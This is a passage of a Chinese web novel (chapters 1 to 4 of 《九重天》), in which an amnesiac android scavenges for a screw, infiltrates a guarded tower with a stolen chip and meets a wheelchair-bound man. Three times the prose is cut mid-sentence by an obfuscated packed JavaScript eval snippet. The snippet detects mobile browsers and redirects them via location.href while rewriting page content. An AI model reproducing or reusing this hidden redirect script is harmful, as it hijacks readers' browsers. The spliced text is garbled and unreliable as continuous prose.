《九重天》 1. 倒计时73天 安宁高举着自己的右胳膊从垃圾堆里爬出来,她的胳膊还差一个螺丝才能安装到关节上。 在这里翻了一上午也没能找到遗失的螺丝的安宁犯愁地叹了口气。 安宁是个失忆的仿生人,一醒来就发现自己身处垃圾厂。 四下黄沙如烟,可见度不足百米,空气中弥漫着刺鼻的不明气体,遍地是摞得比人高的垃圾堆。 不远处复合型营养注射液的瓶子山下站着一个清洁工,荧光条工服蒙在尘沙之中,正用铁锹一铲铲地清理垃圾。 安宁蹲在角落里,敲了敲左手腕嵌入的智脑屏幕,没反应。 由于AI以及脑机接口等技术产生的突破性进展,智脑成为了N4世纪全范围覆盖的集成体智能系统,从人类到机器人、热核武器军火到家用电器都可以接入,用途广泛,为人们生活提供更便捷的服务。 【滴——数据载入中——】 差点以为智脑坏了的安宁松了口气,她可没钱修理。 【核心数据载入失败,基础数据运行。】 【Warning!Warning!Warning!】 警报声猝不及防地响起,安宁连忙关闭声音,但穿透力极强的尖锐蜂鸣已经一秒传出三百米。 【高级警报:芯核丢失,距离自我销毁还剩73天。】 【中级警报:检测到身体缺少右臂,请找到G9-S001-β504号螺丝安装,否则将无法正常行动。】 【低级警报:身体饥饿,请及时补充食物。】 被恐怖游戏GAMEOVER既视感糊了一脸的安宁:…… 或者不能说是既视感,丢失了芯核,她真的快GAMEOVER了。 虽说她的基础芯片仍能运行,但对于一个仿生人来讲没有比芯核更重要的东西,芯核装载着她的核心数据,安宁的失忆也源于此,更别提73天后她就会因为芯核丢失自我销毁,也就是等同于人类的死亡。 安宁摸了摸原本安放芯核位置的后脑壳,是个完整的后脑壳,但她心里一片空荡荡凉飕飕。 “诶呀,这儿怎么有个人,吓我一跳。” 注意到瓶子碎落动静的清洁工走了过来,安宁转过头去,清洁工是位身形瘦得如同枯草的中年女性。 清洁工更走近几步蹲在她面前,安宁才看清她的脸,四十岁上下,面色枯黄,双颊凹陷显得颧骨高,一双充满希望的眼睛。 仅安宁可见之处,她的皮肤约30%的面积微微腐烂,散发着和垃圾堆一样的刺鼻气味。 “小姑娘,怎么一个人在这儿?”这位中年女清洁工关心道,温和得像是在对自己的孩子说话。 安宁也冲她露出自然友善的笑容:“您好,我叫安宁。” 清洁工看着她,半晌噗嗤一声笑出来:“你好,我叫方钰。胳膊怎么了,需要帮忙吗?” “谢谢您的关心,我的胳膊掉了,请问您有看见G9-S001-β504号螺丝吗。” 方钰不好意思地哂笑:“什么…什么号螺丝?我不太懂这些。不过你的义肢仿真度真高,一点儿也看不出来是假的。” 安宁想:其实她整个人都是假的…… “要找螺丝的话你可以去外城区看看,应该有你需要的型号。”方钰让开指向身后,“就在那个方向。” 安宁顺着她指的方向看过去,远处有一座通天伫立的塔,可见度极低的沙尘暴之下唯有那座塔通体漆黑,即便黄沙漫天也能辨出它的影子。 安宁道谢:“知道了,谢谢您。”她抱着断掉的胳膊站起来。 方钰嘴角一抽,虽然义肢已经很普遍了,但抱着条胳膊来回晃的形象也着实一言难尽。 她看不下眼地撂下清洁工具摘掉手套,一边道:“这里是垃圾场,虽然没有你要的那种螺丝,但还是能帮你把胳膊稍微固定上的。” 安宁看到她的手也腐烂了,表皮血肉黏连在手套上被生生撕下来一层,白手套卷边翻面脱下来,里层的布料被暗沉的血色染透,腐肉在断电冰箱里放了半个夏天的气味尖锐地扎进鼻腔。 “……您……?”安宁屏住呼吸,不知道该不该问,因为方钰看起来对此毫不在意。 方钰到处翻了翻,最后在自己的口袋里找到一个半废弃的简易固定器:“忍一忍吧,这玩意可称不上多舒服。” 她三两下帮安宁固定好,道:“试试看怎么样?” 安宁晃了晃胳膊,上下抬不了五十度还嘎吱嘎吱地响,看起来像个傻气不灵活的提线木偶,但她心中还是充满了感激之情。 “谢谢您,不过您的皮肤……看起来生病了,需要帮忙吗?”安宁犹豫之下还是问出了口。 方钰疑惑地“嗯?”了一声,左右看了看自己,并没发现什么异常。 “比如这里。”安宁隔空指了指她的手和脖颈。 方钰用手掌摩挲了几下自己的脖颈,两边皮肤都在脱落,安宁看着腐烂的被抹得面积更大,三四只苍蝇转着荧绿色复眼嗡鸣在她周围,打算找准时机落上去。 “只是有些痒而已啊……”方钰挠了几下,安宁更觉触目惊心,悄悄放松视线移开焦点不去看她。 也许是安宁的神情太诡异,方钰摇摇头,觉得这姑娘像个精神病患者,这年头精神病患者多了去了,不算稀奇。 “咕噜咕噜……”安宁的肚子在响。 方钰用一种看流浪动物的眼神看她:“你多久没注射营养液?都饿出幻觉了。” 安宁想了想,她也不知道多久,难道真的是幻觉。 方钰于心不忍地叹了口气,这孩子连多久没吃饭都想不起来了。 她在手腕的智脑屏幕上滑动,对着安宁的屏幕碰了一下:“看来你的失忆很严重,可怜的姑娘……外城区有营养液贩卖处,记得买点。” “我还要工作所以只能帮你到这儿了,你路上小心,再见安宁。” 方钰扛着铁锹转身离开,安宁耳力好,听见随风传来她小声的嘟囔:这姑娘能自己找回家吗…… 安宁本想用智脑查看地图,但垃圾场不处于信号覆盖区,于是她只能按照方钰说的,看着沙尘暴中高塔的影子辨别方向走。 随着安宁离外城区越来越近,沙尘暴有了减小的趋势。 “叮。本次入账20联邦币。您的余额:20联邦币。” 提醒消息一直到抵达信号区域才蹦出来,她这才明白方钰碰她的智脑的目的。 安宁泪眼汪汪地看着账户余额咽口水,觉得方钰真是个热心肠的好人,如果再见面的时她有钱了一定要还给她。 肚子空空荡荡,智脑的身体监控也发出警告,但理论来讲储备能量还可以维持两三天的活动。 这20联邦币巨款不能乱花,在没找到赚钱方法之前这是她唯一能用来维持生命的资产,安宁打算留到饿死的前一秒。 外城区十分破败,一路上建筑低矮,没有超过三层的建筑物。 沿着荒凉无人的街道向里走,建筑物绝大多是民用居所,还有零星的几个接入智脑的无人看管售卖处。 安宁路过一个数据书卡馆,上下两层,窗上糊满黄沙,她决定先查询了解一些关于这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108791|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界和她所需螺丝的消息。 书卡馆陈旧失修,自动门已经变成一扇废铁,安宁费力地把门拉开,被迎面的灰尘呛得眼泪鼻涕直流。 这里空气劣质,不仅是沙尘的缘故,她本以为源自垃圾场的刺鼻气味一路走来如影随形,弄得她鼻子麻木难受。仿生人的冒牌气道都受不了,安宁想不明白人类脆弱的气道黏膜是如何在这劣质的空气中生存的。 安宁环视一圈,所幸虽然已被废弃,但有很多没被搬运走的数据书卡,她看着一列列的书卡柜,先随便挑选了一张插入终端,尝试能否顺利读取。 数据书卡是一张张指尖大小的芯片,在末世之后传统纸质书就由于不方便携带和保存而绝版,人们将纸质书籍转变为数据书卡,虽然叫做书但已经不是纯粹的文字,而是衍生出适配的全息影像与声音,由智脑作为接口,直接将书卡插入就可以读取观看。 全息影像在眼前展开,悬浮摄像机拍摄下的画面经过剪辑,将绿荫、天空、满面笑容的人们结合在一起,制成了这张书卡的一部分。 “您好,欢迎收听第四世纪历史纪录册,本数据书卡由联邦G9电台制作。” 女播音员温柔舒服的声音从耳边通讯器传来,环绕声如同真人在身侧低语。 “我们生活在一个和平、安全、自由的时代,我们生活的时代比落后的末世纪科技发达,比污染变异泛滥的第2世纪洁净,比阶级分化的第3世纪平等,我们拥有最先进的智脑让您生活便利,最高效的营养液保证您身体健康……” “在联邦的庇护下,我们处于人类历史上难得一见最稳定的……” 安宁摁了快进。 “……我们是如此的幸福,我们感恩。” “下面进入一段广告……世界上最高纯的提取手法,最洁净的氧……” 智脑界面弹出来个购物跳转链接,安宁按了好几遍才把它成功关掉。 安宁把这张没营养净是口水话的书卡拔下来放回原处,她还需要查询螺丝的资料。 记载显示该型号的螺丝由S001科研院于十年前生产,在仿生人制造项目小范围应用过一段时间,不流通于市面,如今明确记录的只有核心区的“塔”里专门用来存储废弃医疗器械的G1-3工具库房留存着备份品。 问题在于核心区与外城区由电网隔离,并且塔仅限工作人员出入。 另外……安宁费了半天劲终于找到了仿生人维护指南。 根据资料显示,仿生人芯核丢失可能导致脑部信号放电异常,安宁的芯核丢失与其说导致了“失忆”,不如说是“记忆断层”,对于某一时期的记忆她只能回想起一部分,吃饭喝水之类的本能长时记忆不受影响,只要芯核原装安回去就能找回记忆。 得到想要的信息后,安宁抬步离开书卡馆。 刚才还无人的台阶上蹲坐着个小女孩,她是安宁醒来后见到的第二个生物。 女孩听到动静回过头来,向安宁露出开朗的笑容,摆摆手和她打招呼, “姐姐你看,今天天气真好。” 安宁才发现因为能见度低,她醒来后看不清天空长什么模样,而现在沙尘暴停止了。 她仰起脑袋看天,沙尘暴过后的天空蓝得很漂亮,是和数据书卡里播音员字正腔圆充满希望的声音相称的蓝。 直视太阳光刺眼炫目,安宁抬手遮了遮,试图减少瞳孔的进光量好让自己看得清楚一点。 她眯起眼睛,片刻,突然微愣,放下遮光的手。 这哪里是“天空”,这是一块巨大的,播放着蓝天的电子屏幕。 2. 进塔 没错,这蓝天确确实实是假的。 安宁大概花了五分钟盯着它,已经能模拟出这块屏幕上白云的生成代码,并且只会比它做得更仿真细致。 这东西做得画面虚假技术劣质态度敷衍……身为高科技产物的安宁有点看不惯。 她甩甩酸痛的脖颈,站了这么一会儿头发上就落了一层黄沙,一动弹簌簌地落成个小沙堆。 “你……看不到天上的像素点?”安宁郁闷地问道。 “……嗯?”女孩疑惑地望了望天空。 腐烂的皮肤,恶劣的环境,虚假的蓝天…… 这一切难道只有她能看见? 结合方钰的话,她得为自己从“饿疯了”和“技艺不精从垃圾堆爬出来组装自己的时候脑袋搭错线疯掉了”中挑一个…… “咕噜咕噜。” “嘎噔…啪嗒!” 肚子响的同时胳膊落地。 她一路走过来胳膊已经掉了三四次,简易固定器显然十分不靠谱。 安宁心中一片愁云惨淡,又饿又坏又没钱,疑似变成精神病,住所更是无望即将睡大街,她决心不能让自己过得这么惨,仿生人也是有人生幸福度追求的! 没关系,不就是螺丝吗,既然知道在塔里有货,月黑风高夜,宜早不宜迟,她这就想办法进入塔里把螺丝摸出来。 然后想办法打打工赚赚钱,吃饱喝足攒力气找芯核,一定能修理好自己,好好活下去。 第一步去塔里摸螺丝。 核心区被二十米高的高压电网围住,安宁绕着它走了两个小时,试图找到潜入的方法,竟真叫她发现个隐蔽的缺口。 这附近的监控已经坏了,她小心翼翼地缩着身子钻过去,电网的缺口切面整齐锋利,像是被利器割开而非自然老化形成,地面有些不起眼的白色粉末,是锯开时落下的灰尘。 塔从垃圾场远眺的时候就已经非常高耸,站在塔脚向上看时更带来一种巨大的物体通天蔽日形成的压迫屏息感。 塔的表层通体是黑漆反光的特殊材料,均一光滑的圆柱形,直挺地没入地底,插入云霄。 安宁蹲在塔外角落观察直到假天幕夕阳落下世界黑沉,只得出一个结论——这塔看起来连苍蝇都飞不进去。 “沈卓,快点走!整天磨磨唧唧的,下次他再让我跟你出一个任务我就申请换人。” “姑奶奶算我求您,别乱叫我名字……不过你申请换人还能换谁?035更不合适吧。你敢把后背交给035?小心他从背后给你崩了……我知道,我知道你厉害,您最牛了,您比顶头那位都牛……” 穿着黑色特战服戴着隔离面罩的一女一男往塔门方向走,女子红色头发齐短,堪堪在脑后扎起,四肢套着亮银色的轻外骨骼;男子比女子略高,精细打理过的棕色卷发,鼻梁上架着一副接入智脑的AI信息眼镜,一股絮絮叨叨的文弱气。 二人耳朵上皆戴着通讯设备,女子大概178cm,背着支和她同样身长的重型枪炮走路很快,几步把被称为沈卓的男子甩在身后, “不是你怎么走更快了,有感染体追你?我是感染体?等等我啊,别把我自己留外面,搞不好死了怎么办,唉……慢点吧,累死了,喘不上气了……” 女子立在塔门前,塔门连接的智脑AI进行扫描, 中性机械声道:“芯片权限通过,077,请进。” 塔门开了。 这时沈卓才赶了上来,智脑同样进行了扫描。 “芯片权限通过,066,请进。” “等等。”沈卓气还没喘匀,突然想起来什么,“感染者名单呢?” “我只管打架,文书你管。”077抱臂扬起下巴,“你没拿?” “……”沈卓沉默,看对方表情就已经了解他的宿命,他视死如归地指了指自己,“我去取?” 安宁蹲在杂草丛里想,既然塔门是芯片识别,那是不是意味着只要她拿到有权限的芯片就能进去了? 虽然只是猜测,但值得冒险一试。 那位叫做沈卓的男子被踹了出来。 沈卓拍拍身上特战服的黄沙,一脸苦相地往回走。 安宁顺势跟了上去。 她打算敲晕他,借他的芯片一用。 安宁的身手没多好,只在科研所的时候被一股脑地灌过相关知识,从没实操过,所以她也很紧张。 如果对上那位女子,安宁不用想也知道自己胜算为零,但从刚才的对话和情形来看,沈卓武力值很弱,属于多吹两股风就倒,多走两步路就喘那类。 安宁放轻脚步卡死角跟着,直到他拐进巷口,她抄起板砖敲上了他的后脑勺。 “咣!” 人直挺挺地朝前倒去,好像下手有点重。 安宁心里默念罪过罪过,拔出沈卓耳后嵌入的芯片,插入接口开始读取记忆。 芯片里的记忆以数据方式涌入她的大脑,安宁可以对其进行高速筛选。 这种做法按理说是不可能的,遑论人类脆弱的大脑,就算是寻常的仿生人或者机器人像她这样高速读取记忆,几秒钟之内就会被海量的信息流冲击崩溃,但她不会。 安宁时常为自己的制作精良感到开心,就像人类会为自己的健康和好体质开心那样。 沈卓的芯片具有定位功能,所以安宁的时间紧迫,必须在他的同伴发现其失踪之前偷出螺丝,并返回这里将芯片重新安回去。 无关紧要的琐碎都筛除,安宁快速挑出和G1-3工具房相关的信息。 根据沈卓的记忆,一共有十处门,其中有不引人瞩目的侧门,从那里进入之后只需要摸着步梯往上走三层,工具房就在楼梯左手边。 塔的巡视组行动轨迹很固定,只要不发生意外安宁有把握悄无声息地潜入进去。 “滴——识别中。” 这是一个位于塔后侧的小门,周围荒凉无光,安宁站在门前,做贼心虚不到半秒手心就出了汗。 “芯片权限通过,066,请进。” 呼…… 果然和猜想的一样,塔门的智脑识别完全依靠芯片。 塔门缓缓打开,也不知是安宁的心理效果还是事实如此,一股堪比停尸间的凉气涌出来把她冻了个哆嗦。 前脚刚迈进去后脚门就关上了,塔里的风格……四下是和外层一样的漆黑材料,灯管和冷气如出一停尸间的冷白发蓝,分明灯照得无一处死角但光线全被吸进墙壁天花板和地板的漆黑涂料中,有多少灯都和温馨明亮呈反义词。 前面十几米就是楼梯通道,金属材质的扶手反射出青幽冷然的银光,整体风格像个做非人道试验的医院,或者监牢,囚禁杀人如麻罪无可赦重刑犯的那种。 “啪嗒……啪嗒……” 安宁前脚刚迈上第一节台阶就听见一种奇怪的声响,她僵硬地回头看,身后还是那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108792|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔门,除此之外别无他物。 也许是她听岔了。 “……啪嗒……” 还没等往上走几步,声音便更加清晰,仿佛贴着后脑勺几厘米响起,她猛地转过身—— 原来是天花板上一截水管正在漏水。 黑色的地面积了一小滩液体,安宁细看两眼,发现这液体比水的质地粘稠,她抽出别在腰上的军刀——从沈卓那儿顺来的。 用刀尖沾了点液体查看,薄刃附上一层透红色薄膜,一股浓烈的血腥味混着腐臭涌入鼻腔。 “…咕…咕噜……”头顶的水管发出过水的动静。 安宁凭直觉闪开身,黏腻的血块覆着一层透明包衣正擦着脸侧掉落,如果没躲开怕要糊在她脸上了。 血肉块从水管里漏出来之后还微微颤动着,管子里又掉下来一块,新的和地上的包衣融合裹成一团。 不妙,不妙,不妙啊…… 安宁连上三级楼梯——这和沈卓记忆里完全两码事,到底是谁建的鬼地方,审美口味和食人狂先生有得聊! 忍住拔腿而出的冲动,来都来了不拿到东西岂不是白忙活一趟,她得速战速决。 往上三层的左手边第一间就是她要去的工具间,安宁顺着楼梯动作快而轻地接着往上走。 灯光惨白,也许是水管滴落的肉块给她留下的心理阴影,耳朵神经质般总听见水管里咕咚咕咚的声音,但停下脚步细听四下又静寂无比,唯有她放得极轻的脚步声和呼吸声。 好在一路无事到了三层转角,几米外的房门标牌上显示“G1-3医疗工具库”,正是她要找的工具库房。 安宁左右观察无人,立刻上前刷芯片。 “识别中……” “!” 一只失去表皮,血肉蠕动的手抓住了安宁的脚腕。 安宁一惊,手中握着刀条件反射扎了下去。 “嗬……嗬…!”那只手被钉在地上,发出一声凄厉诡异的尖叫,七分从破风管里呼啸而出的利风辅以三分的指甲划过黑板声,真是十分的刺耳难听。 它仿若没有痛觉,挣脱刀刃破成两半用尽力气向安宁爬,掌心里竟长着一张嘴。 此物形状实在一言难尽难以描述,暗红组织鼓动着甚至能看到其中流动血液流动,散发着和肉块同出一源的恶臭。 安宁正想解决掉它,正当此时转角传来了巡逻队的脚步声。 那只嘴还在厉鬼哭嚎,手指爬行着以极快的速度向安宁逼近,这样大的动静想不被发现是不可能了, “滴!!!” “警报——!警报——!重大警报——!” 整个走廊闪烁着红光,警报灯乍亮。 安宁已经看到了巡逻组领头那位手里的激光枪。 前有巡逻后追血手,无论哪边她都活不成了。 安宁感到一阵忧伤,历经千难万险跨越万水千山,工具房里的螺丝近在咫尺在向她招手,自己却没能碰到它一下就要与世长辞。 巡逻组手里的激光炮足够瞬间将她秒成入住骨灰盒的一捻灰。 话说仿生人有没有骨灰盒的入住资格? “报告,检测到生物闯入痕迹,警告已发送,全体警戒。” 一只手捂住了她的口鼻,将她往后拖。 拽她的力道朝后下方,安宁重心不稳一屁股坐在了那人腿上。 “嘘…别说话。”温沉的气声。 3. 修好胳膊 安宁脑子里闪过无数个小时候看过的肥皂剧角色,一边被救一边“呜呜呜”地挣扎然后被发现抓起来大卸八块的悲惨画面,于是很老实地,快被捂得喘不上气也一动不动装鹌鹑。 安宁被拽进来的地方是个没开灯的房间,警报灯红光透过门窗,伴随蜂鸣一圈一圈地闪烁,巡查队从她面前走过去,没发现她躲藏的地方。 巡查组一共十人,安宁惊讶地发现他们长着同一张脸,从头到脚甚至走路步态都如出一辙,比模具里印出来的产品还整齐。 他们的眼睛骇人地空洞而大,浑身上下透着非人感,正巧长在恐怖谷谷底,连安宁这个仿生人都难免汗毛倒立。 为首者用那双黑漆瞳孔环视一圈,按动耳边通讯器:“重复,G1-3组发现生物闯入,请求开启G1塔内搜索。” 等巡查队走出视线范围,安宁才敢轻微地动了动,僵着坐在身后人腿上这么长时间,连她都麻了更别提被压着的。 “咳咳……咳……”身后的人侧过头闷咳。 安宁后背紧贴着他的胸腔,能感觉到他身躯压抑的震颤,他手臂搭在轮椅扶手上,制着她的腰,她这才发现从人类礼仪上讲,他们的姿势对于陌生人而言太过亲密。 确认环境安全,安宁站起来看身下的到底是什么人。 “你……” 是一位坐轮椅的青年男子,穿着黑色风衣样式的制服,和她在塔外看到的女子和沈卓的作战服风格相同,只不过那二人的装扮便于行动主打实用,而他的这身更像发号施令的上位者的穿着,毕竟没人会穿这身去沙堆里打滚沾灰。 他咳完转回脸,察觉到安宁的目光,笑着问:“看什么呢。” 安宁承认他穿这身挺好看——至少很合她的审美,利落而锋利,而且适合他。 她脑补在别人身上试了下效果,穿在那女子身上会显得像戾气沉沉,穿在沈卓身上又像兔子披狼皮。而此男气质温沉,中和出一种特别的感觉。 安宁欣赏了几秒,刚想问他是什么人为什么要帮她,正要开口时突然瞄到了他胸前口袋里露出的一角卡片: ……工作证。 综合穿着和这张卡,已经不用开口了,他的身份任谁都看得出来。 问:安宁此时在干嘛? 答:当小偷,做坏蛋。 问:面前这人是谁? 答:被偷地界的工作者。 问:立场是否对立? 答:当然。 …… 男子垂头看着她忙里忙外把自己五花大绑在轮椅上,忍不住提醒道:“我救了你。” 对于这种忘恩负义的行径安宁也挺不好意思的,但事关重大,身为塔的工作者谁知道他在得知安宁的真实目的之后会不会又把她抓起来?马上就能修好胳膊了,把他暂时绑住减少不可控因素显然更明智。 他轻微地挣动几下被反绑在背后手腕,叹了口气:“真是没良心。” 安宁扫他一眼:“你最好不要再轻举妄动,否则我手里这把刀可不长眼睛!到时候划伤你这张漂亮的脸蛋……” 她效仿反派转刀威胁,同时表情凶恶。 ……几秒沉默。 他笑着点点头:“明白了。” 安宁拉紧绳结,确认他跑不掉:“算你识趣,乖乖听话才有好果子吃。” 台词是从古早剧里学来的,他顺从无比的样子想必已经达到了威胁的目的,安宁表示很满意。 两人藏身的房间斜对角就是工具房,安宁摩拳擦掌,只要三步就能到达目的地了,正当她全神趴着门上玻璃注意看走廊巡逻组是否真的走远时,衣角突然被拽了几下, “我都警告过你了不要再——” 不对,他的手不是被绑住了吗? “啪嗒……” 这熟悉的声音……? 男子身后的水管发出咕嘟咕嘟的水声,安宁往四周一瞧,不知何时血红组织已经无声无息地铺满半整个房间,原来紧急警报红光早已经灭了,这红光是那怪物满墙的血肉组织反射出来的。 他这才慢悠悠地解释:“不是我。” 安宁顺着他的目光往自己身上一看,抓住自己衣角的东西正是走廊里的那只血手,它顺着轮椅腿爬到扶手上,抽搐着要往她身上爬。 她抽出刀迅速砍断顺杆爬上轮椅脚的粘稠液体,从关节处将它斩成两节试图让其失去行动能力。 被斩断处涌出暗褐色的,散发着腐臭气味的液体,滋啦滋啦地流淌一地,这液体腐蚀能力极强,地板开始冒小气泡,几秒间被腐穿了个洞。 安宁连忙把刀拔出来,翻转一看,刀刃黏连着血液,原本锋利无比的刃尖已经变成了锯齿状。 她震惊:“刚才还没有腐蚀性呢。” 掉落在地的两段组织像放在烤架上的鳗鱼头蠕动不断,到处乱爬寻找彼此,相互交融的瞬间两块肉团融合在一起,自愈能力惊人。 安宁头皮发麻,捞过轮椅带着人拔腿三步并两步跑出门外,死死将门堵住。 嘭! 嘭嘭! “不是吧这东西劲儿这么大。”那怪物死命地撞击着门,安宁用尽全力抵着,后背阵阵剧痛快要震出内伤。 嘭——! 挡不住了。 跑前安宁回头看了一眼,怪不得劲儿这么大,它不仅仅是只手啊! 血肉凝聚成两米多高的乱七八糟人形,至于为什么说乱七八糟,是因为它的肢体和五官位置都错乱了,嘴长在手心里,手臂接在胯骨上,胯骨长在脑袋顶……如同一个人被活生生剥了皮,再肢解后胡乱黏成一团。 工具房开门需要识别时间,估计得甩开上百米时间才勉强够用,眼前是进不去了。 安宁推着他一路飞车东闯西撞地跑,试图和身后追得死紧的怪物拉开距离。 “不能再跟它耗下去。”他道,“现在它只是一个二期感染体,但再过十分钟左右就会转为三期。” “只是?…二期?” “简单来说,会变得更难缠。” “那您说怎么办?” “放我在这儿吧,好跑些。” “您送死的心倒是迫切。” 安宁本来就手忙脚乱火急火燎,满怀期待洗耳恭听以为他能有什么高见,听到这话直想翻白眼,心说不乐意活了找个凉快地方呆着去,她只是想偷个螺丝,可没想害死条性命。 塔里构造错综复杂,安宁溜着被称为“感染体”的怪物七拐八拐与其斗智斗勇,好在轮椅男子很熟悉塔里结构,偶尔能给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108793|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几句指点,按其所说拐过一个走廊后钻进条岔口,又通过绕得头晕眼花的环形走廊,身后怪物还没追来,工具库房的门重新出现在眼前。 直线距离三步远的路绕开一个小时,说来也奇,这样大的动静竟没引来巡查组,不过她没空想这些,没引来当然是最好的。 刷开门钻进去,安宁跑出一身汗累得气喘吁吁,只觉腿脚酸软肺叶发疼,轮椅上那位倒是神色悠然自得丝毫不急。 安宁坐在地上大喘气,心说您还怪享受这趟风驰电掣,到底谁才是被绑的那个?要不要来杯下午茶。 来不及缓太久,她站起来先是仔细查看了这间房的密闭性,连根水管都没有,这意味着那怪物钻不进来,他们是安全的。 塔里工具房不止一个,这间用来放置医疗器械,摆放着上百排通顶的置物架,物品整齐地按生产年份和类别放置,安宁照着架子侧面的标签寻找,很快找到了十年前生产的螺丝。 “你要找什么?”他的声音从门口的方向传来,隔得太远加之库房空荡,有种幽幽的回声。 安宁没应声,她仔细确认着螺丝。 螺丝被装在一只巴掌大的透明玻璃盒里,玻璃侧面贴着标签,标签边角发黑,安宁捻了捻,是被火烧过的碳化痕迹,上面用墨蓝色钢笔手写着: 【G9-S001-β504号生物膨胀螺丝】 【生产时间:314/11/13】 【生产地址:G9-S001科研院】 【生产者:……】 最下面是一行生产者的署名签字,由于被烧毁已经辨识不清。 安宁打开盒子把螺丝倒在手心里,很小,透白色,并非金属制的冷硬,材质接近胶质,柔软而有韧性。 她拆掉简易固定器,把螺丝拧到胳膊里,再旋到肩膀上。 卡扣合上的瞬间安宁重新感觉到了自己的胳膊,血液从心脏泵到手指末端,青白的皮肤恢复血色。 她低头看连接处,只有一条不起眼的细缝,像条浅淡的疤痕,过段时间就会褪色消失不见,和真正的人类一样。 “找到想要的东西了?”他虽然被绑着,但神态很放松,淡淡地看着她走近。 “托您的福。”安宁道,“这里很安全,四下封闭也没有怪物活动的水管通道,丢不了命。你好好在这儿待着吧。” “既然是塔的工作者,明天早上会有人发现你失踪了。” 她直起腰来感受自己灵活的胳膊关节,多少有点飘飘然:“我走了,再见……不对,还是别再见比较好。” 可以还没等安宁得意三秒,她的手腕就被抓住了。 “!” 黑漆一团中传来他模糊不明的轻叹,安宁还未反应过来其中意味就被按住了颈侧动脉。 晕倒在他身上的同时安宁感觉到他抽走了她别在腰上的军刀,寒光一晃,温热的血液从颈侧涌出,顺着脖颈淌到衣领里,衣料贴在身上变得滑腻湿黏…… 安宁迷迷蒙蒙地想,自己这是被抹脖子了。 脑子开始走马灯,一帧帧满是追悔莫及,回想起研究员教导的果然没错——天外有天人外有人,人在做天在看,坏蛋要被打,今天她就是那个坏蛋…做了坏事迟早有报应,一报还一报,来得这么快…… 4. 负债 安宁幼时在科研所输入的大量乱七八糟的数据在脑海里翻涌,输入的太多太杂也不是好事,交错繁杂的信息网千丝万缕,说不准哪根线拐错岔路口就会往风马牛不相及的地方狂奔着跑偏,这导致她经常冒出一些不合时宜无厘头的念头。 就比如现在她醒过来,发现自己被绑在床上手脚都动弹不得,脖子缠着一圈厚厚的纱布,嘴也被塞住了,瞬间脑补出十万个撒狗血剧情。 她承认她年少时期半夜三更偷偷撬开数据库看的《始乱终弃后他失控了:出逃之99夜强制爱》或者《十年破镜重圆,他眼尾猩红》比研究员喂给她的“基于深度学习算法在人工智能自主意识产生领域的发展推论”要多那么一点点。 安宁叹了口气,不知道研究员看到她这样没出息会是什么心情。 拉回乱飞的思绪,安宁想起晕过去之前很是血腥的最后一个画面,等等,自己不是被抹了脖子吗?为什么还活着? 安宁僵硬地幻视四周,因脖子被绑成木乃伊略显笨拙。 她身处一间卧室,不像有人居住,空旷而冷清,家具只有她身下的一张床和置物柜。 “醒了?” 声音从另一侧传来,男子仍坐在轮椅上,他将手头的书撂在一旁,仿佛等了她很久。 “觉得怎么样。”他的嗓音淡然,掌心附上她的额头试了试温度,自然地收回手,“烧退了。” 她想开口,张了张嘴却发现说不住话来。 她的脖子! 喉咙像被堵住似的,稍一动弹就疼得要命,安宁挣扎着说话却发不出一点声音。 她用力到生理性泪水上涌,仍然只有“呜呜”声从喉管发出,她失力瘫在床上,不甘地用眼神控诉—— 她是绑了他,但一没害他性命,二也算讲义气,面对怪物没扔下他自己跑,险中逃生怎么也算小小的生死之交,而他竟然下手这么狠,直接割喉咙。 他听见她腹语般,好笑道:“我没割你喉咙。” 他微微俯身凑近,拆下安宁脖子上的纱布,然后解开她手脚的束带。 安宁打开智脑,前置摄像头投射出全息影像,映出她自己的脖颈。 没有刀痕。 只有一个细细的针眼。 安宁:…… “工具房中藏匿着个你并未察觉的二期感染体,你要走时它正准备从背后偷袭。”他道,“感染体的血溅到你身上,为防感染必须注入阻断针。副作用是喉咙疼,伴随发烧、无力和短暂的失声。” 他把纱布扔进垃圾桶,里面只有几块带血的纱布和一管空针剂:“昏迷时将你绑起来是怕你乱动,再过十分钟左右你就能完全恢复。” 安宁:…… 他笑起来:“什么表情,自己也觉得自己没良心了?” 他正笑着突然又开始闷咳,越咳嗽越厉害,原本正常的脸色变得死气苍白,渗出冷汗,最后他几乎要把肺咳出来,简直惊天动地心惊肉跳。 在安宁马上要用智脑叫救援的前一刻,他的咳嗽终于停了,平息下来之后他神色仍是一贯的温和,制止她后说了句:“没事。” 声音透着病气沙哑,没比安宁打了阻断针的嗓子好上多少。 安宁心头飘过三个大字:她有罪。 床头有杯水,安宁递给他,他便默默喝了干净。 